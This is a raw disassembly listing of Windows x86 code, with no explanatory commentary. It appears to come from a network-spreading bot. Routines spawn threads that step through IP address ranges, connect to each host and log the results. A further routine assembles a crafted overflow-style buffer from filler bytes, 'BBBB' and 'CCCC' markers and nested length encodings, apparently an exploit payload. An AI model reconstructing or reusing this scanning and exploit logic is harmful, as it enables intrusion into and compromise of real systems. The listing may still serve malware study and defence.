mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_40CA6E
; ---------------------------------------------------------------------------
loc_40C8C9: ; CODE XREF: sub_40C87D+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40C8DF
lea eax, [ebp+var_150]
push eax
call sub_40C575
pop ecx
jmp short loc_40C8E4
; ---------------------------------------------------------------------------
loc_40C8DF: ; CODE XREF: sub_40C87D+51j
call sub_40C52D
loc_40C8E4: ; CODE XREF: sub_40C87D+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push ds:dword_455F04[ebx]
push [ebp+var_3C]
push edi
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_4488B4
push eax
call sub_41EA60
lea eax, [ebp+var_28C]
push eax
lea eax, dword_455D00[ebx]
push eax
call sub_41EA60
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C611
add esp, 2Ch
cmp eax, 1
jnz loc_40CA63
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C9B8
push offset dword_4E5110
call ds:dword_4F53A8 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_4488EC
push eax
call sub_41EA60
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C99A
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C98E
lea eax, [ebp+var_140]
loc_40C98E: ; CODE XREF: sub_40C87D+109j
push eax
push [ebp+var_40]
call sub_409C75
add esp, 14h
loc_40C99A: ; CODE XREF: sub_40C87D+EEj
lea eax, [ebp+var_28C]
push eax
call sub_415A3C
mov [esp+2A8h+var_2A8], offset dword_4E5110
call ds:dword_4F53A4 ; RtlLeaveCriticalSection
jmp loc_40CA63
; ---------------------------------------------------------------------------
loc_40C9B8: ; CODE XREF: sub_40C87D+BEj
push edi
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41EA60
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41EA60
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40C9FC
lea eax, [ebp+var_140]
loc_40C9FC: ; CODE XREF: sub_40C87D+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41EA60
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call ds:off_4481F4[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40CA63: ; CODE XREF: sub_40C87D+B4j
; sub_40C87D+136j
push 7D0h
call ds:dword_4F534C ; Sleep
loc_40CA6E: ; CODE XREF: sub_40C87D+47j
mov eax, ds:dword_455F04[ebx]
cmp ds:dword_4E3114[eax*8], 0
jnz loc_40C8C9
push esi
call sub_40B9A7
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_40C87D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA91 proc near ; DATA XREF: sub_401C87+1F2Eo
; sub_401C87+5D06o
var_20C = dword ptr -20Ch
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call ds:dword_4E3008 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov ds:dword_4E3110[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40C049
push 0Bh
call sub_40B8D3
add esp, 150h
cmp eax, ebx
jnz short loc_40CB5F
mov esi, offset dword_4E5110
push esi
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4F53AC ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40CB5F
lea eax, [ebp+var_1CC]
push offset unk_448914
push eax
call sub_41EA60
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40CB49
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409C75
add esp, 14h
loc_40CB49: ; CODE XREF: sub_40CA91+99j
lea eax, [ebp+var_1CC]
push eax
call sub_415A3C
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40CB5F: ; CODE XREF: sub_40CA91+63j
; sub_40CA91+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_4F534C
mov edi, ebx
mov ds:dword_4E3114[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40CC21
loc_40CB7D: ; CODE XREF: sub_40CA91+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_448948
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B691
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov ds:dword_455F04[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C87D
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_40CC38
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_44897C
push eax
call sub_41EA60
lea eax, [ebp+var_1CC]
push eax
call sub_415A3C
add esp, 10h
loc_40CC13: ; CODE XREF: sub_40CA91+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40CB7D
loc_40CC21: ; CODE XREF: sub_40CA91+E6j
cmp [ebp+var_30], ebx
jz short loc_40CC46
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_40CC53
; ---------------------------------------------------------------------------
loc_40CC34: ; CODE XREF: sub_40CA91+1AAj
push 1Eh
call esi ; Sleep
loc_40CC38: ; CODE XREF: sub_40CA91+159j
cmp [ebp+var_4], ebx
jz short loc_40CC34
jmp short loc_40CC13
; ---------------------------------------------------------------------------
loc_40CC3F: ; CODE XREF: sub_40CA91+1C0j
push 7D0h
call esi ; Sleep
loc_40CC46: ; CODE XREF: sub_40CA91+193j
mov eax, [ebp+var_2C]
cmp ds:dword_4E3114[eax*8], 1
jz short loc_40CC3F
loc_40CC53: ; CODE XREF: sub_40CA91+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, ds:dword_4E3110[eax*8]
push eax
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_4489B4
push eax
call sub_41EA60
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40CCA1
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409C75
add esp, 14h
loc_40CCA1: ; CODE XREF: sub_40CA91+1F1j
lea eax, [ebp+var_1CC]
push eax
call sub_415A3C
mov eax, [ebp+var_2C]
mov [esp+20Ch+var_20C], 0BB8h
mov ds:dword_4E3114[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B8D3
cmp eax, 1
pop ecx
jnz short loc_40CCD8
push offset dword_4E5110
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
loc_40CCD8: ; CODE XREF: sub_40CA91+23Aj
push [ebp+var_2C]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_40CA91 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE8 proc near ; DATA XREF: sub_40CDB5+7Bo
; sub_40CEA6+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A8h], esi
lea eax, [ebp+var_10]
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call ds:dword_4E2FC8 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call ds:dword_4E3048 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40CDA6
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_4E2F70 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov ds:dword_455F0C[ecx], esi
jz short loc_40CDA6
push [ebp+var_38]
push [ebp+var_28]
call ds:dword_4E3054 ; inet_ntoa
push eax
mov edi, offset dword_4E5AD0
push offset unk_4489F4
push edi
call sub_41EA60
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409C75
push edi
call sub_415A3C
add esp, 28h
loc_40CDA6: ; CODE XREF: sub_40CCE8+5Dj
; sub_40CCE8+7Ej
push esi
call ds:dword_4E3060 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40CCE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40CDB5 proc near ; DATA XREF: sub_401C87+60F4o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, ds:dword_4F534C
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CDE3: ; CODE XREF: sub_40CDB5+ECj
push [ebp+var_30]
push [ebp+var_20]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_448A1C
push eax
call sub_41EA60
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_455D00
push eax
call sub_41E510
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40CCE8
push edi
push edi
call ds:dword_4F5350 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40CE4F
jmp short loc_40CE4A
; ---------------------------------------------------------------------------
loc_40CE46: ; CODE XREF: sub_40CDB5+98j
push 32h
call esi ; Sleep
loc_40CE4A: ; CODE XREF: sub_40CDB5+8Fj
cmp [ebp+var_C], edi
jz short loc_40CE46
loc_40CE4F: ; CODE XREF: sub_40CDB5+8Dj
push [ebp+var_4]
call ds:off_4F533C
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41FBF0
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_4E2EF0 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_4E2FC4 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_41FBF0
add esp, 0Ch
jmp loc_40CDE3
sub_40CDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEA6 proc near ; DATA XREF: sub_401C87+5E0Bo
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_4F534C
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CED4: ; CODE XREF: sub_40CEA6+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_448A44
push eax
call sub_41EA60
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_455D00
push eax
call sub_41E510
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40CCE8
push edi
push edi
call ds:dword_4F5350 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40CF40
jmp short loc_40CF3B
; ---------------------------------------------------------------------------
loc_40CF37: ; CODE XREF: sub_40CEA6+98j
push 32h
call esi ; Sleep
loc_40CF3B: ; CODE XREF: sub_40CEA6+8Fj
cmp [ebp+var_8], edi
jz short loc_40CF37
loc_40CF40: ; CODE XREF: sub_40CEA6+8Dj
push [ebp+arg_0]
call ds:off_4F533C
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40CF67
inc [ebp+var_2C]
jmp loc_40CED4
; ---------------------------------------------------------------------------
loc_40CF67: ; CODE XREF: sub_40CEA6+B7j
push [ebp+var_1C]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_448A70
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_409C75
push [ebp+var_20]
call sub_40B9A7
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40CEA6 endp
; =============== S U B R O U T I N E =======================================
sub_40CFB3 proc near ; CODE XREF: sub_40D24D+Ep
; sub_40D24D+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CFB3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push dword ptr [ebp+8]
call sub_41BC70
pop ecx
push eax
lea ecx, [ebp-8]
push dword ptr [ebp+8]
call sub_40CFEB
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
mov eax, esi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_40CFEB proc near ; CODE XREF: _0:0040CFD5p
; sub_40D24D+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_41BE40
mov edi, eax
pop ecx
test edi, edi
jz short loc_40D01D
push ebx
push 0
push edi
call sub_41E4B0
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41FBF0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40D01D: ; CODE XREF: sub_40CFEB+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D025 proc near ; CODE XREF: sub_40D117+18p
; sub_40D191+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_41BE40
mov esi, eax
pop ecx
test esi, esi
jz short loc_40D071
push edi
push 0
push esi
call sub_41E4B0
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41FBF0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41FBF0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40D071: ; CODE XREF: sub_40D025+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40D025 endp
; =============== S U B R O U T I N E =======================================
sub_40D07A proc near ; CODE XREF: sub_40D117+5Ep
; sub_40D117+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40D08A
push eax
call sub_41C9D0
pop ecx
loc_40D08A: ; CODE XREF: sub_40D07A+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40D07A endp
; =============== S U B R O U T I N E =======================================
sub_40D093 proc near ; CODE XREF: sub_40D117+20p
; sub_40D1F2+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40D0BD
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_41BE40
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40D0C1
loc_40D0BD: ; CODE XREF: sub_40D093+Dj
xor al, al
jmp short loc_40D113
; ---------------------------------------------------------------------------
loc_40D0C1: ; CODE XREF: sub_40D093+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_41E4B0
add esp, 0Ch
cmp ebx, 1
jnz short loc_40D0E1
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_40D0F6
; ---------------------------------------------------------------------------
loc_40D0E1: ; CODE XREF: sub_40D093+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_40D0F6: ; CODE XREF: sub_40D093+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_41FBF0
add esp, 0Ch
push dword ptr [esi]
call sub_41C9D0
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40D113: ; CODE XREF: sub_40D093+2Cj
pop edi
pop esi
pop ebx
retn
sub_40D093 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D117 proc near ; CODE XREF: sub_40D24D+89p
; sub_40D24D+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset byte_4E5CD8
call sub_40D025
lea ecx, [ebp+var_8]
call sub_40D093
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BE40
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40D151
xor al, al
jmp short loc_40D18D
; ---------------------------------------------------------------------------
loc_40D151: ; CODE XREF: sub_40D117+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41E4B0
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41FBF0
add esp, 18h
mov ecx, esi
call sub_40D07A
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40D07A
mov al, 1
loc_40D18D: ; CODE XREF: sub_40D117+38j
pop edi
pop esi
leave
retn
sub_40D117 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D191 proc near ; CODE XREF: sub_40D1C5+14p
; sub_40D1E2+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40D025
mov ecx, esi
call sub_40D07A
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40D191 endp
; =============== S U B R O U T I N E =======================================
sub_40D1C5 proc near ; CODE XREF: sub_40D24D+F0p
; sub_40D24D+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41BC70
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40D191
pop esi
retn 4
sub_40D1C5 endp
; =============== S U B R O U T I N E =======================================
sub_40D1E2 proc near ; CODE XREF: sub_40D22E+Bp
; sub_40D24D+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40D191
retn 8
sub_40D1E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1F2 proc near ; CODE XREF: sub_40D22E+16p
; sub_40D24D+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40D093
test al, al
jz short loc_40D22B
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_448E17+1)
call sub_40D025
mov ecx, esi
call sub_40D07A
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40D22B: ; CODE XREF: sub_40D1F2+Fj
pop esi
leave
retn
sub_40D1F2 endp
; =============== S U B R O U T I N E =======================================
sub_40D22E proc near ; CODE XREF: sub_40D24D+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40D1E2
test al, al
jz short loc_40D249
mov ecx, esi
call sub_40D1F2
loc_40D249: ; CODE XREF: sub_40D22E+12j
pop esi
retn 8
sub_40D22E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D24D proc near ; CODE XREF: _0:0040DAA1p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CFB3
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D591
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D591
push esi
lea ecx, [ebp+var_30]
call sub_40CFB3
lea ecx, [ebp+var_20]
call sub_40CFB3
lea ecx, [ebp+var_50]
call sub_40CFB3
lea ecx, [ebp+var_18]
call sub_40CFB3
lea ecx, [ebp+var_40]
call sub_40CFB3
lea ecx, [ebp+var_38]
call sub_40CFB3
lea ecx, [ebp+var_28]
call sub_40CFB3
push 4
push offset dword_448AAC
lea ecx, [ebp+var_30]
call sub_40D191
push 3
push offset dword_448AB4
lea ecx, [ebp+var_30]
call sub_40D191
lea ecx, [ebp+var_30]
call sub_40D117
lea ecx, [ebp+var_30]
call sub_40D1F2
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41E4B0
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40D191
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40D191
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40D191
lea ecx, [ebp+var_20]
call sub_40D117
push offset loc_448E1C
lea ecx, [ebp+var_50]
call sub_40D1C5
lea ecx, [ebp+var_50]
call sub_40D117
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CFEB
lea ecx, [ebp+var_58]
call sub_40D117
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40D22E
lea ecx, [ebp+var_58]
call sub_40D07A
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41E4B0
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40D1C5
push 4
push offset dword_448AB8
lea ecx, [ebp+var_18]
call sub_40D191
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40D191
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40D191
lea ecx, [ebp+var_18]
call sub_40D117
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40D1E2
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40D1E2
lea ecx, [ebp+var_40]
call sub_40D1F2
lea ecx, [ebp+var_18]
call sub_40D07A
lea ecx, [ebp+var_50]
call sub_40D07A
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40D1E2
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40D1E2
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40D1E2
lea ecx, [ebp+var_38]
call sub_40D1F2
lea ecx, [ebp+var_20]
call sub_40D07A
lea ecx, [ebp+var_30]
call sub_40D07A
lea ecx, [ebp+var_40]
call sub_40D07A
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40D191
lea ecx, [ebp+var_28]
call sub_40D117
push 2
push offset dword_448E30
lea ecx, [ebp+var_28]
call sub_40D191
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40D1E2
lea ecx, [ebp+var_28]
call sub_40D1F2
lea ecx, [ebp+var_38]
call sub_40D07A
lea ecx, [ebp+var_10]
call sub_40CFB3
lea ecx, [ebp+var_8]
call sub_40CFB3
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40D1E2
lea ecx, [ebp+var_10]
call sub_40D093
lea ecx, [ebp+var_28]
call sub_40D07A
push offset byte_448E34
lea ecx, [ebp+var_8]
call sub_40D1C5
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40D1E2
lea ecx, [ebp+var_8]
call sub_40D093
lea ecx, [ebp+var_10]
call sub_40D07A
push offset word_448E36
lea ecx, [ebp+var_10]
call sub_40D1C5
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40D1E2
lea ecx, [ebp+var_10]
call sub_40D093
lea ecx, [ebp+var_8]
call sub_40D07A
push offset dword_448E38
lea ecx, [ebp+var_8]
call sub_40D1C5
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40D1E2
lea ecx, [ebp+var_8]
call sub_40D093
lea ecx, [ebp+var_10]
call sub_40D07A
push (offset aA_1+2)
lea ecx, [ebp+var_48]
call sub_40D1C5
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40D1E2
lea ecx, [ebp+var_8]
call sub_40D07A
pop esi
loc_40D591: ; CODE XREF: sub_40D24D+1Bj
; sub_40D24D+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_40D24D endp
; =============== S U B R O U T I N E =======================================
